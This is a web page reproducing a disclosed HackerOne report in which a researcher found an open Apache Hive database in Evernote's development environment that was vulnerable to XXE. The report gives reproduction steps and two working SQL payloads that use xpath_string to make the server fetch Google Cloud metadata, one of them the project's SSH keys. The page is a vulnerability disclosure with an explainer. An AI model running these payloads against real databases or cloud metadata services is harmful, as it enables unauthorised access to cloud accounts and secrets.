Skip to content
XXE Disclosed report Intermediate

Non-production Open Database In Combination With XXE Leads To SSRF

An open Apache Hive database was vulnerable to XML external entity injection, allowing an attacker to make server-side requests to the Google Cloud metadata endpoint. This exposed the associated GCP project ID and potentially access to cloud storage and BigQuery/BigTable.

kaulse Follow

Originally disclosed on HackerOne

Critical View original
  • Triaged in 1 hour
  • Fixed in 12 days
  • Disclosed after 11 months

Summary by the researcher

Due to a misconfigured database, it was possible to access Evernote's Google Cloud account which had access permissions to the Google Cloud products BigQuery, BigTable and Google Cloud Storage. Hence, the severity is critical. The report is out of scope for the BBP program as it's on Evernote's developer environment instead of the production one.

The report

Summary:

The Apache Hive database hosted on the IP ██████████ and open on port 10000 is open and vulnerable to XXE. By "open", I mean that the database can be accessed by anyone.

Steps To Reproduce:

Chose any database client that supports Apache Hive and also uses a specific client version. "Specific client version" because you will otherwise get an error which looks like this:

13:22:26.077 [main] ERROR org.apache.hive.jdbc.HiveConnection - Error opening session
org.apache.hive.org.apache.thrift.TApplicationException: Required field 'client_protocol' is unset! Struct:TOpenSessionReq(client_protocol:null, configuration:{set:hiveconf:hive.server2.thrift.resultset.default.fetch.size=1000, use:database=default})
  1. Chose a database client and connect to mentioned IP and port
  2. Execute the following SQL payload:
SQL
select xpath_string('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/project-id"> ]><stockCheck>&xxe;</stockCheck>', '*') FROM test LIMIT 5;

The query above will return the associated project id which is "en-development".

Supporting Material/References:

I will list some interesting information that I queried below.

Query

SQL
select xpath_string('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [ <!ENTITY xxe SYSTEM "http://metadata.google.internal/computeMetadata/v1beta1/project/attributes/ssh-keys"> ]><stockCheck>&xxe;</stockCheck>', '*') FROM test LIMIT 5;

Response

████
█████
██████████
█████████
██████
██████████
██████
████████
████
████
████████
███████
█████████
███████
██████
█████
███
███
████
████████
██████
█████████
███████
██████████
█████████
████
█████████
████
██████████
█████
██████████
█████
████████
██████████
██████
██████████
█████
█████
██████
██████████
█████
███
████

Impact

Access to the GCP project via the Google Cloud metadata endpoint which leads to access to at least the Google Cloud storage buckets and Google Cloud BigTable/BigQuery.

The original report as published on HackerOne, by kaulse. Images and videos are our own copies; raw HTML is shown as text. View it on HackerOne.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Impact

Access to the GCP project via the Google Cloud metadata endpoint which leads to access to at least the Google Cloud storage buckets and Google Cloud BigTable/BigQuery.

What the attacker needed

Network access to the database port; a compatible Hive client

How it was found

  1. Choose a database client that supports Apache Hive and uses a specific client version.
  2. Connect to the mentioned IP and port.
  3. Execute the provided SQL payload that uses xpath_string with an XML external entity pointing to the Google metadata endpoint.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

An XXE flaw lets an attacker make a server fetch URLs through crafted XML. Here the database processed XML in a SQL query, so it could contact Google's internal metadata service, which holds project details.

What is XXE?

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.

More by kaulse

View all

2 more disclosed reports, best first.

More from Evernote

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

XML external entities (XXE)

The lesson behind this report.

An XML parser resolves entities the attacker defines, reading local files or making the server send requests.